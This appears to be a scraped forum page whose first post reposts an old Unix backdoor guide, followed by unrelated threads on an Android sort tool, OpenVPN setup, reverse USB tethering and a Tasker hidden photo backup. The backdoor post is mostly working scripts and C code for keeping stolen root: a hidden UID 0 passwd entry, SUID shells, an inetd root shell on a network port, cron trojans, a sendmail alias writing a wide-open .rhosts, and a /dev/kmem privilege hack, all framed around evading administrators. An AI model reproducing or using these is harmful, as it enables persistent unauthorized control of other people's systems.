#a backdoor into unix/linux os; - General Topics

I thought this was interesting paper written by an unknown author
You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing.After seeming endless you've managed to steal root. Now what? How do you hold onto this precious super-user
privilege you have worked so hard to achieve....?
This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
ways into one.
Beforehand
Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
looking for back doors.
The JDevil Overt
[1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
#!/bin/csh
# Inserts a UID 0 account into the middle of the passwd file.
# There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
# [email protected]
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "jdevil::0:0:jdevil:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
NEVER, EVER, change the root password. The reasons are obvious.
[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
field).
[3] Leave an SUID root shell in /tmp.
#!/bin/sh
# Everyone's favorite...
cp /bin/csh /tmp/.JDEVIL # Don't name it that...
chmod 4755 /tmp/.JDEVIL
Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
The JDEVIL Veiled
[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
lines look like this:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
This is done with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
file, etc...
For the insinuation-impaired, try this:
Open the /etc/inetd.conf in an available editor. Find the line that reads:
daytime stream tcp nowait root internal
and change it to:
daytime stream tcp nowait /bin/sh sh -i.
You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
to do this off peak hours).
[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
(1) (2)/(3) (4)
smtp 25/tcp mail
Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
associated with the service. For instance, add this line to /etc/services:
jdevil 22/tcp jdevil
and this line to /etc/inetd.conf:
jdevil stream tcp nowait /bin/sh sh -i
Restart inetd as before.
Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
they offer rentry from *any* account on *any* computer on the Internet.
[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
entry has six fields:
(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb
Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
shady intentions). Add this line to /var/spool/crontab/root:
0 0 * * * /usr/bin/trojancode
This is the shell script:
#!/bin/csh
# Is our jdevil still on the system? Let's make sure he is.
#[email protected]
set JDEVILflag = (`grep jdevil /etc/passwd`)
if($#JDEVILflag == 0) then # Is he there?
set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "jdevil::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
would be ok. Add this line to root's crontab file:
29 2 * * * /bin/usr/_passwd
make sure this exists:
#echo "root:1234567890123:0:0perator:/:/bin/csh" > /var/spool/mail/.passwd
and this is the simple shell script:
#!/bin/csh
# Install trojan /etc/passwd file for one minute
#[email protected]
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/passwd /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
Make sure it runs as root. Name it something innocous. Hide it well.
/* A little trojan to create an SUID root shell, if the proper argument is
given. C code, rather than shell to hide obvious it's effects. */
/* [email protected] */
#include
#define KEYWORD "industry3"
#define BUFFERSIZE 10
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan
messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */
[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
"decode: "|/usr/bin/uudecode"
to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
#! /bin/csh
# Create our .rhosts file. Note this will output to stdout.
echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts
Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
.rhosts file. For a one liner (not faked, however) do this:
%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail [email protected]
You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
choosing. Many of the previous scripts and methods can be employed here.
The JDEVIL Covert
[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...
Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
The JDEVIL Esoteric
[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID. The following program does just that.
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practical tutorial"
with some modifications by [email protected] */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
} /* End main */
#include
#include
#include
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object;
SYMENT symbol;
long idx=0;
object=ldopen("/unix",LNULL);
if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}
[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before
JDevil

Happy Reading

There are some small spacing errors in code but you the idea

Related

Sorting/merging files on android

eXtended Sort/Merge for Android​
Hello all !
I suppose a very few of you have ever needed to sort a file on your Android phone ...
Eventually, you can use the standard Unix 'busybox sort' program in a Terminal Emulator instance :
sort -k 1.1,1.10 -o myOutFile.txt myInFile.txt
This will sort the input file, ordering lines from the first ten characters of each line, ascending.
Applied to a 50 MB file (500,000 lines of 100 bytes each), it takes about 50 sec. on my Galaxy Note.
So, I did a port of a mainframe-like sort/merge, along with a Gui, that does the same job in 5 to 7 sec.
For those interested in testing this application (see attachments), remarks, ideas [and bugs ...] are welcome in this thread.
The attachment contains :
hxsm : the binary program
xsmgui-v.vv.apk : the Gui application
50mt.txt : a 50 MB text file, given as an example above
Installation (adb ...) :
download and unzip the attached file,
push or copy 50mt.txt to /sdcard/tmp (or any other directory you can access)
push or copy hxsm to /data/local/bin (or any other directory in the standard PATH)
make it executable : shell chmod 777 /data/local/bin/hxsm
install the Gui : xsmgui-v.vv.apk
Check you have to read/write/execute on all directories involved (chmod 777 ...)
SnapShots and further explanations on next post.
And run Xsm carefully, first using the default parameters showed by the Gui:
in all cases, I will not be responsible of any failure/dommage on your phone.
Please post if possible :
Brand and model of your Android box
Android version (Gingerbread, ICS ...)
Cpu speed
Size of files(s) sorted
Duration of the job(s)
Furthermore, if you have room on your sdcard(s), you can get a larger sample text file, by copying the basic sample (50mt.txt) several times on itself, and sort it :
on my G.N., a 1 GB file (ten millions lines of 100 bytes each) is sorted in 180 sec.
Still, enjoy !
eXtended Sort/Merge for Android
Advanced Use​
Those wanting more may directly invoke the hxsm command in a terminal emulator
For help, just enter 'hxsm' at the command prompt :
usage :
hxsm -c, --check -q|-v, --quiet|--verbose -h, --help
-m, --merge |--copy[|--sort]
-k, --key=all | start,len[,order(A|D),[format(B|C|I|P|Z|Y)] ]
-r, --recfm=F|V|M
-z|-l, --lrecl=nnnn
-i, --infile=in_id1[,recfm=x[,lrecl=nnn] --infile=in_id2....
-o, --outfile=out_id[,recfm=x[,lrecl=nnn]]
--outrec=(in_pos1,len1,out_pos1,type1[in_pos2,...])
-f, --field-separator=TAB|BAR|COMMA|COLUMN|SEMICOLUMN|c|0Xhh
-uk|-ur, --unique-key|--unique-record
--include=start,len,op,val[AND|OR,start,len,op,val...]
--exclude=start,len,op,val[AND|OR,start,len,op,val...]
-t --sortwork=dir1,dir2,.. --sortwork=dir3,dir4,..
-y, --storage=nnnK|M|G
--keep-order
-f --field-separator=TAB|COMMA|COLUMN|SEMICOLUMN|c|0Xhh
--record-separator=c|0xhh
--collating-sequence=ascii|ebcdic
--skip-head=nnn
--throw-empty-records
-E --ignore-ioerror [ = ignore short lines ]
--norun
Example for the job given as an example in post #1 :
hxsm --verbose --recfm=V --lrecl=250 --key=1,10 --input=/sdcard/tmp/50mt.txt --output=/sdcard/tmp/6=50mt-sorted.txt/FONT]
or
hxsm -v -rV -l250 -k 1,10 -i/sdcard/tmp/50mt.txt -o/sdcard/tmp/6=50mt-sorted.txt/FONT]
Explanation for some usefull options
-k : sort/merge keys
You may specify several keys
For each key, specify the start column (byte number starting at 1), the key length in bytes, and eventualy the letter 'D' for descending order.
Furthermore, for each key, you may also have 'specific' fields format, most inherited from IBM main frames, like 'Packed' or 'Zoned' decimal fields, or just 'Numeric'.
example :
hxsm ... -k 14,3,D,P --key=1,10,A,Z -k35,40 ... --recfm=F --lrecl=100
This will sort the file on a global key including:
a packed, signed decimal field (5 digits + sign), descending order
a zoned, signed, decimal field (10 digits, including sign)
an alphanumeric field (40 bytes).
Note that in that case, the file cannot be a text file, because possible x'0D' inside the packed field : it should be specified as 'Binary Fixed' (--recfm=F)
-i : input file
you can have several input files, provided that the sort key are at the same place in all files
example :
hxsm ... -i file1 --infile=file2 -ifile3 ...
--skip-head=nnn : throws the nnn fist lines/records
-m : merge several input files already sorted on the same key
example :
hxsm -m -o resulting_file -i file1 --infile=file2 -ifile3 ...
-t : sort-work directories
It may improve perpormances, provided you have more than 1 sdcard (a fast one, class 10), or a fast usb stick connected
If this is the case, just specify a workibg directory on the corresponding mount point :
example :
hxsm ... -t /mnt/sdcard/external_sd/tmp (and check you've done a chmod 777 on it ...)
Input/Output
if the -i option is omitted, then the program will read from stdin
if the -o option is omitted, then the program will write onto stdout
Filtering
You may filter the lines or records you want to be written onto the output :
-uk : unique key
if several lines/records have the same key, then only one will be written
-ur : unique record
if several lines/records are strictly identical, then only one will be written
--include=start,len,op,val ...
--exclude=start,len,op,val ...
takes in, or omits, lines/records whose field(s) responds to some criterias
Examples:
hxsm ... --include=12,3,EQ,C'ABC' ...
this will keep only records where there is 'ABC' in cols. 12-14
hxsm ... --include=12,3,EQ,C'ABC',OR,12,13,EQ,c'ABD' ...
this will keep only records where there is 'ABC' or 'ABD' in cols. 12-14
hxsm ... --exclude=15,1,EQ,C'Z' --include=12,3,EQ,XC'ABC' ...
this will throw all records having a 'Z' in col. 15,
then, in the records left, keep only those having 'ABC' in cols 12-14
Sorting 'CSV-like' files
If the input file(s) has no fixed keys location, but rather varying length fields,
then the fields are "SOMETHING SEPARATED" (i.e. column, semi-column, tabulation ...)
In this case, just specify the 'SOMETHING' with the -f (--field-separator=...) option.
The program will considered that all lines are made of fields separated by 'SOMETHING',
and that each length given in the '--key=' option is a MAXIMUM length.
For 'SOMETHING', you may specify :
--field-separator=TAB (0x09) or BAR (0x7C) or COLUMN (0x3A) or SEMI[-]COLUMN (0x3B)
or any hexadecimal value 0x00 .. 0XFF
Example :
hxsm ... -f TAB -k 3,5,D --key=1,10,A -k 5,40 -k2,9,A,N ...
This will sort the file on a global key including:
an alphanumeric key in field #3, max length 5 chars, descending order
an alphanumeric key in field #1, max length 10 chars
an alphanumeric key in field #5, max length 40 chars
a numeric key in field #2, max length 9 digits
All fields being separated by a TAB char (0x09).
eXtended Sort/Merge for Android
Snapshots​
All snapshots are in the following attachment
(if anybody can tell me how tu put the snapshots 'online' ...)
Thanks, not for the mass but useful tool though.
hhenault said:
All snapshots are in the following attachment
(if anybody can tell me how tu put the snapshots 'online' ...)
Click to expand...
Click to collapse
Edit post -> Go Advanced -> Manage Attachments -> in the popup window add your pictures instead of the zip file, you can upload picts too.

[Q] OpenVPN and Cyanogenmod 7.2 (need troubleshooting suggestions)

I also posted this on the OpenVPN forums but figured someone here may have experienced a similar problem or at least have ideas for what to do next.
My goal is to be able to connect my android phone via OpenVPN to my home network.
I started by installing OpenVPN 2.2.2
my config folder looks like this
Code:
ca.crt
dh1024.pem
server.crt
server.key
server.ovpn
My Server.ovpn contains.
Code:
# Suppose that you want to enable different
# firewall access policies for different groups
# of clients. There are two methods:
# (1) Run multiple OpenVPN daemons, one for each
# group, and firewall the TUN/TAP interface
# for each group/daemon appropriately.
# (2) (Advanced) Create a script to dynamically
# modify the firewall in response to access
# from different clients. See man
# page for more info on learn-address script.
;learn-address ./script
# If enabled, this directive will configure
# all clients to redirect their default
# network gateway through the VPN, causing
# all IP traffic such as web browsing and
# and DNS lookups to go through the VPN
# (The OpenVPN server machine may need to NAT
# or bridge the TUN/TAP interface to the internet
# in order for this to work properly).
;push "redirect-gateway def1 bypass-dhcp"
# Certain Windows-specific network settings
# can be pushed to clients, such as DNS
# or WINS server addresses. CAVEAT:
# The addresses below refer to the public
# DNS servers provided by opendns.com.
;push "dhcp-option DNS 208.67.222.222"
;push "dhcp-option DNS 208.67.220.220"
# Uncomment this directive to allow different
# clients to be able to "see" each other.
# By default, clients will only see the server.
# To force clients to only see the server, you
# will also need to appropriately firewall the
# server's TUN/TAP interface.
;client-to-client
# Uncomment this directive if multiple clients
# might connect with the same certificate/key
# files or common names. This is recommended
# only for testing purposes. For production use,
# each client should have its own certificate/key
# pair.
#
# IF YOU HAVE NOT GENERATED INDIVIDUAL
# CERTIFICATE/KEY PAIRS FOR EACH CLIENT,
# EACH HAVING ITS OWN UNIQUE "COMMON NAME",
# UNCOMMENT THIS LINE OUT.
;duplicate-cn
# The keepalive directive causes ping-like
# messages to be sent back and forth over
# the link so that each side knows when
# the other side has gone down.
# Ping every 10 seconds, assume that remote
# peer is down if no ping received during
# a 120 second time period.
keepalive 10 120
# For extra security beyond that provided
# by SSL/TLS, create an "HMAC firewall"
# to help block DoS attacks and UDP port flooding.
#
# Generate with:
# openvpn --genkey --secret ta.key
#
# The server and each client must have
# a copy of this key.
# The second parameter should be '0'
# on the server and '1' on the clients.
;tls-auth ta.key 0 # This file is secret
# Select a cryptographic cipher.
# This config item must be copied to
# the client config file as well.
;cipher BF-CBC # Blowfish (default)
;cipher AES-128-CBC # AES
;cipher DES-EDE3-CBC # Triple-DES
# Enable compression on the VPN link.
# If you enable it here, you must also
# enable it in the client config file.
comp-lzo
# The maximum number of concurrently connected
# clients we want to allow.
;max-clients 100
# It's a good idea to reduce the OpenVPN
# daemon's privileges after initialization.
#
# You can uncomment this out on
# non-Windows systems.
;user nobody
;group nobody
# The persist options will try to avoid
# accessing certain resources on restart
# that may no longer be accessible because
# of the privilege downgrade.
persist-key
persist-tun
# Output a short status file showing
# current connections, truncated
# and rewritten every minute.
status openvpn-status.log
# By default, log messages will go to the syslog (or
# on Windows, if running as a service, they will go to
# the "\Program Files\OpenVPN\log" directory).
# Use log or log-append to override this default.
# "log" will truncate the log file on OpenVPN startup,
# while "log-append" will append to it. Use one
# or the other (but not both).
;log openvpn.log
;log-append openvpn.log
# Set the appropriate level of log
# file verbosity.
#
# 0 is silent, except for fatal errors
# 4 is reasonable for general usage
# 5 and 6 can help to debug connection problems
# 9 is extremely verbose
verb 6
# Silence repeating messages. At most 20
# sequential messages of the same message
# category will be output to the log.
;mute 20
I used this to generate a .p12 for my phone.
Code:
openssl.exe pkcs12 -export -in phone.crt -inkey phone.key -certfile ca.crt -name phone -out phone.p12
My port is forwarded correctly and software firewall is disabled.
This is what I get in the log.
pastebin: gPCBwWE1
And then the connection reset by peer will simply repeat.
I have tried tcp, different ports, recreating keys and directly connecting my comp to the internet.
Any suggestions on where to go from here would be helpful.
I have tried Googling quite a bit but there isn't much out there.
Thanks.

Reverse USB Tether Successful - Root, Command Line, Linux

Hey All,
Hope this hasn't been covered. I did search a bit and found some clues, but not something that totally worked for me. I figured I'd put up a post telling y'all how I made it work. I suppose this post is just more clues for somebody else, but at least it seems like a different set of clues than what I was able to find.
I've wanted to use the phone's USB connection to use work's Internet connection to download updates to my phone and conserve my measly 2GB/month data.
Running Cyanogenmod 9.1.0. Don't know how this would translate to others.
The tricks to reverse USB tether are
A) Get the phone to connect to a Linux host over the USB as in a normal tether
B) Set up IP forwarding and NAT on the Linux host (which has a perfectly fine Ethernet connection to the Internet)
C) Change the phone's default route to point at the Linux host
D) Change the phone to use the same DNS servers visible to the Linux host
A-C were pretty easy. D was actually the hardest. Here's my notes I'm storing on the phone:
***********************************************************************
* On the linux host
# ip addr show
2: p2p1: ...
inet 10.2.59.107/18 brd 10.2.63.255 scope global p2p1
7: usb0: ...
inet 192.168.42.151/24 brd 192.168.42.255 scope global usb0
* This part is classic "setting up a NAT" which is easily googled.
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -o p2p1 -j MASQUERADE
# iptables -A FORWARD -i p2p1 -o usb0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# iptables -A FORWARD -i usb0 -o p2p1 -j ACCEPT
* This tells us some IP addresses to use as nameservers.
cat /etc/resolv.conf
# nameserver 10.2.10.24
# nameserver 10.2.10.26
***********************************************************************
* On the android device disable all other methods of accessing the internet.
* That is, turn off Wi-Fi and System Settings, Wireless & networks, Mobile
* networks, Uncheck "Data enabled". This might not be necessary. I did it to
* make sure the rest of what I was doing worked.
* Try 'ip route' without other args and delete any existing default route if
* you have one.
# ip route add default via 192.168.42.151 dev rndis0
# getprop | grep dns
[net.change]: [net.dns2]
[net.dns1]: [172.26.38.1]
[net.dns2]: [172.26.38.2]
[net.dnschange]: [1]
[net.rmnet_sdio0.dns1]: []
# setprop net.dns1 10.2.10.24
# setprop net.dns2 10.2.10.26
* * Avoid the Primrose Path. This sort of acted like it would work, but then
* * didn't at all.
*
* # cat /emmc/resolv_work.conf
* nameserver 10.2.10.24
* nameserver 10.2.10.26
*
* # pkill dnsmasq
* # dnsmasq -d -r /emmc/resolv_work.conf

[Tasker] Hidden Photo Backup! [Also App-idea]

Dear XDA-Members
After some have requested me to post my tasker profile here is a noob friendly walk trough.
This is the first time I make a tutorial like this so any corrections are more then welcome (since English isn't my native language)
I haven't made this fully on my own, some ideas I got from other posts.
So here it goes:
It was hard to find a good trigger for the task to start and I decided to add it to opening/closing of the camera app.
Profiles:
Application -> (Your default photo app (you can add more then one)
Start task:
Variable / Variable set / name = %Camerastart / To %TIMES - 15 //Set a variable so you can later compare which photos are new and which are old
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
2. Task / For / Variable = %File / Items = %Files(1 // For every variable do the next loop
-3. File / Test File / Type = Modified / Data = %File / Store result In = %Filetime / Continue Task After Error = True // Look when the photo was taken (modified)
-4. Task / If / Condition = %Filetime > %Camerastart // Compare the variables to see if the photo is either new or old
--5. File / Copy File / From = %File / To = DCIM/Backup (Location of folder you want to copy the new photos too) / (Use root = true // optional) // If true copy the photo to another map
-6. Task / End If // Self explanatory
7. Task / End for // End the loop
I Hope you guys liked this tutorial and I helped some of you out.
I also uploaded the .txt file, rename it to .xml so you can easily import it to tasker. (This was made with the newest version (4.5u1)
Edit: Forgot to add one thing, add a file named .nomedia to the folder where you place the extra photos (Do this with root explorer or some other that displays hidden items), this will prevent the photos from displaying in the gallery app.
// Old
Dear XDA-Members,
I'm not sure if something like this already exists but after a while of searching I haven't found anything like this.
We probably all had one of those moments in our life that we took a photo of something or someone that we wanted to keep really badly but someone forced us to delete it from the gallery.
So my idea was that after a photo gets taken by the camera app and saved to the default location /sdcard/DCIM/camera (or other place, dependence on the camera app (possibly customizable setting?)) a backup is instantly made to a folder (of choice) that isn't displayed in any gallery. And I know dropbox could instantly sync this to the cloud but this firstly drains my data plan and you can't save it locally and only on the cloud (not talking about the huge amount of battery that is drained).
Maybe it's easier to make a camera app that saves a photo on 2 places (one displayed in the gallery and the other one is saved in a secret folder that you can assign yourself and see with the most file browsers.)
I hope you guys like this idea and maybe someone could work this out if they have the time for it.
tldr; Lightweight app that secretly 'backups' photos to a secret folder that isn't displayed in the gallery app.
Sorry for my English, it isn't my native language.
Tasker can do that
Tasker?
mushipkw said:
Tasker can do that
Click to expand...
Click to collapse
What would be the trigger event then?
I have explored all the tasker options but weren't able to find anything that could reproduce this.
Tasker worked
Mikhail5555 said:
What would be the trigger event then?
I have explored all the tasker options but weren't able to find anything that could reproduce this.
Click to expand...
Click to collapse
Wow, I can't believe how powerful tasker actually is.
I managed to make a task for backing up photos made by my standard camera. It took me an hour but it is working now.
If anyone interested in the task send me a pm and I will send the task.
Mikhail5555 said:
Dear XDA-Members
After some have requested me to post my tasker profile here is a noob friendly walk trough.
This is the first time I make a tutorial like this so any corrections are more then welcome (since English isn't my native language)
I haven't made this fully on my own, some ideas I got from other posts.
So here it goes:
It was hard to find a good trigger for the task to start and I decided to add it to opening/closing of the camera app.
Profiles:
Application -> (Your default photo app (you can add more then one)
Start task:
Variable / Variable set / name = %Camerastart / To %TIMES - 15 //Set a variable so you can later compare which photos are new and which are old
Exit task:
1. File / List FIles / Dir = DCIM/Camera (Location of the map the photos go in) / Match = *.jpg / Variable = %Files // For each file in the folder create a variable
2. Task / For / Variable = %File / Items = %Files(1 // For every variable do the next loop
-3. File / Test File / Type = Modified / Data = %File / Store result In = %Filetime / Continue Task After Error = True // Look when the photo was taken (modified)
-4. Task / If / Condition = %Filetime > %Camerastart // Compare the variables to see if the photo is either new or old
--5. File / Copy File / From = %File / To = DCIM/Backup (Location of folder you want to copy the new photos too) / (Use root = true // optional) // If true copy the photo to another map
-6. Task / End If // Self explanatory
7. Task / End for // End the loop
I Hope you guys liked this tutorial and I helped some of you out.
I also uploaded the .txt file, rename it to .xml so you can easily import it to tasker. (This was made with the newest version (4.5u1)
// Old
Dear XDA-Members,
I'm not sure if something like this already exists but after a while of searching I haven't found anything like this.
We probably all had one of those moments in our life that we took a photo of something or someone that we wanted to keep really badly but someone forced us to delete it from the gallery.
So my idea was that after a photo gets taken by the camera app and saved to the default location /sdcard/DCIM/camera (or other place, dependence on the camera app (possibly customizable setting?)) a backup is instantly made to a folder (of choice) that isn't displayed in any gallery. And I know dropbox could instantly sync this to the cloud but this firstly drains my data plan and you can't save it locally and only on the cloud (not talking about the huge amount of battery that is drained).
Maybe it's easier to make a camera app that saves a photo on 2 places (one displayed in the gallery and the other one is saved in a secret folder that you can assign yourself and see with the most file browsers.)
I hope you guys like this idea and maybe someone could work this out if they have the time for it.
tldr; Lightweight app that secretly 'backups' photos to a secret folder that isn't displayed in the gallery app.
Sorry for my English, it isn't my native language.
Click to expand...
Click to collapse
Excellent, just what i was looking for. Great tutorial.
